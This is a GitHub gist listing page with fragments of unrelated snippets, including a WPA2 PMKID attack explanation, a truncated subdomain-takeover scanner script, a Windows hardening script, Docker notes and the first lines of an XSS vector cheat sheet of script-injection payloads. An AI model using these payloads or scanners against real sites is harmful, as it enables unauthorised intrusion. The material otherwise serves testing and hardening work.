Skip to content

Instantly share code, notes, and snippets.

View hazcod's full-sized avatar

Niels Hofmans hazcod

View GitHub Profile
@hazcod
hazcod / btt-work.bttpreset
Last active March 27, 2020 08:59
My BetterTouchTool TouchBar config.
{
"BTTPresetName" : "master",
"BTTGeneralSettings" : {
"BTTPathSampleSize" : 100,
"BTTCMOnTop" : true,
"BTTForceForceClickPressure2F" : 700,
"BSTLeftHalfBlock" : true,
"BTTMinDrawingMovement" : 2,
"BTTTouchBarMouseModeClickBlock" : true,
"BSTRightHalfBlock" : true,

Trying to deploy WPA3 on my home network

Introduction

Recently, news broke about a new possible offline attack on WPA2 using PMKID. To summarize the attack, WPA2 protected APs can end up broadcasting PMKID values which can then be used to offline-brute-force the password.

These PMKID values are computed this way:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
@iamprbkr
iamprbkr / scanio.sh
Created May 7, 2018 12:57 — forked from haccer/scanio.sh
PoC script to mass-locate vulnerable subdomains using results from Rapid7's Project Sonar
#!/bin/bash
# Usage : ./scanio.sh <save file>
# Example: ./scanio.sh cname_list.txt
# Premium
function ech() {
spinner=( "|" "/" "-" "\\" )
while true; do
for i in ${spinner[@]}; do
echo -ne "\r[$i] $1"
@haccer
haccer / scanio.sh
Last active July 17, 2023 02:02
PoC script to mass-locate vulnerable subdomains using results from Rapid7's Project Sonar
#!/bin/bash
# Usage : ./scanio.sh <save file>
# Example: ./scanio.sh cname_list.txt
# Premium
function ech() {
spinner=( "|" "/" "-" "\\" )
while true; do
for i in ${spinner[@]}; do
echo -ne "\r[$i] $1"
@hazcod
hazcod / drawio-vega-overclocking.xml
Last active December 27, 2017 11:21
Draw.io file for overclocking AMD VEGA cards.
<mxfile userAgent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36" version="7.8.7" editor="www.draw.io" type="device"><diagram name="Page-1" id="c7558073-3199-34d8-9f00-42111426c3f3">3VvbcqM4EP0aV+08TAohwPAYe3LZqs3uVKVqZudRwbJhg5FXyHGcr1/JiIsk8CWA441fbBohoT7dR6cFHsHp8vWOolX0QGY4GdnW7HUEv41sGzjQ4l/Css0t4zHIDQsaz2SjyvAYv2FplNct1vEMZ0pDRkjC4pVqDEma4pApNkQp2ajN5iRRR12hBTYMjyFKTOvPeMai3OrbXmW/x/EiKkYGXpCfeULh84KSdSrHG9lwvvvkp5eo6EtONIvQjGxqJngzglNKCMt/LV+nOBG+LdyWX3fbcra8b4pTdswFML/gBSVrOfUfN3fXniPvjm0Lj2yimOHHFQrF8YajPoITlMSLlB+GfDBMueEFUxZzL17LE8t4NhMdTOYkZY+yM8CPM0bJc+laKFrESTIlCaG74eAt/0yn5mzkBMVA+LVmkrO7w2SJGd3yJvKsDSVmMhILx28qWANpimqIetKGZCAtyo4rZ/If0p/NvnUafet6n8a3jvVRri1Arfn2erVKxL1lZM7ExMiGu41/J0hYGXpKOKGIBIacZODEAAHPOAPIw5SkwrMpuakZK9/WfBkEFv8YXudOm3C/0u3f/MC6covDX+KwHL3B+RlZ0xAruckQXeCiVcFA4m73QlQDAVgNKJRGihPE4heV+JqwkWN8J3HKavmlxYCroZtPSF5UJyKtH6B1BPSOcjcYHe0ipZz3ccEzNoLnNkFZxE2T3/96PGdkKHGxC5OjIsMxIwNeWlz4Gp7BOwMDah3p/fQXFwCay1
@sjas
sjas / windows_hardening.cmd
Created November 24, 2017 05:21 — forked from mackwage/windows_hardening.cmd
Script to perform some hardening of Windows OS
::
::#######################################################################
::
:: Change file associations to protect against common ransomware attacks
:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
:: ---------------------
ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
@kurobeats
kurobeats / xss_vectors.txt
Last active May 3, 2024 11:15
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@BretFisher
BretFisher / docker-swarm-ports.md
Last active April 4, 2024 22:19
Docker Swarm Port Requirements, both Swarm Mode 1.12+ and Swarm Classic, plus AWS Security Group Style Tables

Docker Swarm Mode Ports

Starting with 1.12 in July 2016, Docker Swarm Mode is a built-in solution with built-in key/value store. Easier to get started, and fewer ports to configure.

Inbound Traffic for Swarm Management

  • TCP port 2377 for cluster management & raft sync communications
  • TCP and UDP port 7946 for "control plane" gossip discovery communication between all nodes
  • UDP port 4789 for "data plane" VXLAN overlay network traffic
  • IP Protocol 50 (ESP) if you plan on using overlay network with the encryption option

AWS Security Group Example

@MPJHorner
MPJHorner / Docker.qcow2.reduce.sh
Created August 21, 2016 10:15
Reduce / Clean Up Docker.qcow2 File
#Ensure to exit docker from taskbar first.
cd ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux /Applications/Docker.app/Contents/MacOS/qemu-img convert -O qcow2 Docker.qcow2 Docker2.qcow2 mv Docker2.qcow2 Docker.qcow2
@lukechilds
lukechilds / get_latest_release.sh
Created August 9, 2016 19:43
Shell - Get latest release from GitHub
get_latest_release() {
curl --silent "https://api.github.com/repos/$1/releases/latest" | # Get latest release from GitHub api
grep '"tag_name":' | # Get tag line
sed -E 's/.*"([^"]+)".*/\1/' # Pluck JSON value
}
# Usage
# $ get_latest_release "creationix/nvm"
# v0.31.4